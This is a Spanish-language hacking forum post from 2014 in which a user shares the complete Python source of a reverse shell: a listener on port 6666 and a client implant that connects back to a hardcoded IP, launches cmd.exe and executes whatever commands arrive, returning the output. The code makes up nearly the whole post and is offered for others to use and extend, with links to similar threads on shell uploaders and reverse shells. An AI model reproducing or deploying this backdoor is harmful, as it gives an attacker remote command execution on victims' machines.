comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Shell reverse compartida

  • 0 Respuestas
  • 1921 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado $francisco

  • *
  • Underc0der
  • Mensajes: 191
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
  • Skype: hackloper
« en: Agosto 10, 2014, 06:57:55 pm »
Quiero compartir con todos vosotros una shell reverse que cree hace un año o así, la shell se puede completar, no le añadí para que pudiera cambiar de unidad de disco pero la comparto por si os puede servir.

cliente:

Código: Python
  1. #By: HackLoper
  2.  
  3. from __future__ import print_function
  4. import socket,time,os
  5.  
  6. integer = 0
  7. RUTE = []
  8.  
  9. class command:
  10.     def conexion(self):
  11.         while True:
  12.             try:
  13.                 self.s = socket.socket()
  14.                 print("esperando...")
  15.                 self.s.bind(("",6666))
  16.                 self.s.listen(1)
  17.                 print("[*]---HackLoper---[*]")
  18.                 self.sc,self.addr = self.s.accept()
  19.                 self.init()
  20.             except:
  21.                 print('conexion perdida, reconectando...')
  22.                 time.sleep(3)
  23.                 continue
  24.                  
  25.     def init(self):
  26.         data = self.sc.recv(9999)
  27.         spl = data.splitlines()
  28.         os.system('cls')
  29.         for i in range(2):
  30.             print (spl[i])
  31.         print('\n')
  32.         data = self.sc.recv(9999)
  33.         if integer == 0:
  34.             RUTE.append(data)
  35.             i = 1
  36.         self.cmd()
  37.  
  38.     def resp(self,data):
  39.         spl = data.splitlines();
  40.         n = len(spl)
  41.         n = n-1;
  42.         print('\n')
  43.         for i in range(1,n):
  44.             print(spl[i])
  45.         self.cmd()
  46.  
  47.     def cmd(self):
  48.         print(RUTE[0]+'>',end ='')
  49.         comando = raw_input('')
  50.         if comando == 'cls':
  51.             self.sc.send('cls')
  52.             self.cmpi(comando)
  53.         else:
  54.             self.sc.send(comando)
  55.             data = self.sc.recv(9999)
  56.             self.cmpi(comando,data)
  57.  
  58.     def cmpi(self,cmmd,data=None):
  59.         if cmmd == 'cd..' or cmmd[0:3] == 'cd ':
  60.             if os.path.exists(data) == True:
  61.                 RUTE[0] = data
  62.                 print('\n')
  63.                 self.cmd();
  64.             else:
  65.                 print (data);
  66.                 print('\n')
  67.                 self.cmd()
  68.         elif data == 'error':
  69.             error = self.sc.recv(9999);
  70.             print(error)
  71.             self.cmd()
  72.         elif cmmd == 'cls':
  73.             os.system('cls')
  74.             self.cmd()
  75.         else:
  76.             self.resp(data)

servidor:

Código: Python
  1. #By: HackLoper
  2.  
  3. import socket,time,subprocess,re
  4.  
  5. RUTE = [None]
  6. IP = "192.168.0.101"
  7. PORT = 6666
  8.  
  9. class shell:
  10.     def conexion(self):
  11.         while True:
  12.             try:
  13.                 self.s = socket.socket()
  14.                 self.s.connect((IP,PORT))
  15.                 shell.main()
  16.             except:
  17.                 print('esperando...')
  18.                 try:
  19.                     client.close()
  20.                     s.close()
  21.                 except:
  22.                     continue
  23.                 continue
  24.              
  25.     def main(self):
  26.         process = subprocess.Popen('cmd.exe',
  27.                                     shell=True,
  28.                                     stdin=subprocess.PIPE,
  29.                                     stdout=subprocess.PIPE,
  30.                                     stderr=subprocess.PIPE)
  31.  
  32.         process.stdin.write("")
  33.         o,e=process.communicate()
  34.         process.wait()
  35.         process.stdin.close()
  36.         time.sleep(1)
  37.         self.s.send(o)
  38.         self.rute(o)
  39.  
  40.     def rute(self,text):
  41.         t = re.search('[?: \\\s\w]+>',text)
  42.         repl = t.group(0).replace('>','')
  43.         RUTE[0] = repl
  44.         self.s.send(repl)
  45.         self.command()
  46.  
  47.     def command(self):
  48.         cmd = self.s.recv(9999)
  49.         if cmd == 'cls':
  50.             self.command()
  51.         process = subprocess.Popen('cmd.exe /k',
  52.                                     cwd = RUTE[0].decode(),
  53.                                     shell = True,
  54.                                     stdin = subprocess.PIPE,
  55.                                     stdout = subprocess.PIPE,
  56.                                     stderr = subprocess.PIPE)
  57.         process.stdin.write(cmd+'\n')
  58.         o,e=process.communicate()
  59.         process.wait()
  60.         if e == '':
  61.             process.stdin.close()
  62.             self.correct(o,cmd)
  63.         else:
  64.             process.stdin.close()
  65.             if cmd == 'cd..' or cmd[0:3] == 'cd ':
  66.                 self.s.send(e)
  67.                 print(e)
  68.                 self.command()
  69.             else:
  70.                 self.s.send('error')
  71.                 self.s.send(e)
  72.                 self.command()
  73.  
  74.  
  75.     def cmpi(self,t):
  76.         dec = t.decode()
  77.         move = dec.replace('>','')
  78.         RUTE[0] = move
  79.         self.s.send(move)
  80.         self.command()
  81.  
  82.     def correct(self,o,cmd):
  83.         if cmd == 'cd..' or cmd[0:3] == 'cd ':
  84.             split = o.splitlines()
  85.             cont = len(split)-1
  86.             data = split[cont]
  87.             self.cmpi(data)
  88.         else:
  89.             self.s.send(o)
  90.             self.command()
  91. if __name__ == '__main__':
  92.     shell = shell()
  93.     shell.conexion()
« Última modificación: Agosto 10, 2014, 07:29:54 pm por Expermicid »

 

¿Te gustó el post? COMPARTILO!



Auto - Wordpress Shell Uploader Beta

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 1832
Último mensaje Agosto 08, 2013, 07:28:30 am
por blackdrake
[Python] Advance Reverse Shell By Xianur0

Iniciado por ProcessKill

Respuestas: 0
Vistas: 1128
Último mensaje Febrero 24, 2010, 04:07:57 pm
por ProcessKill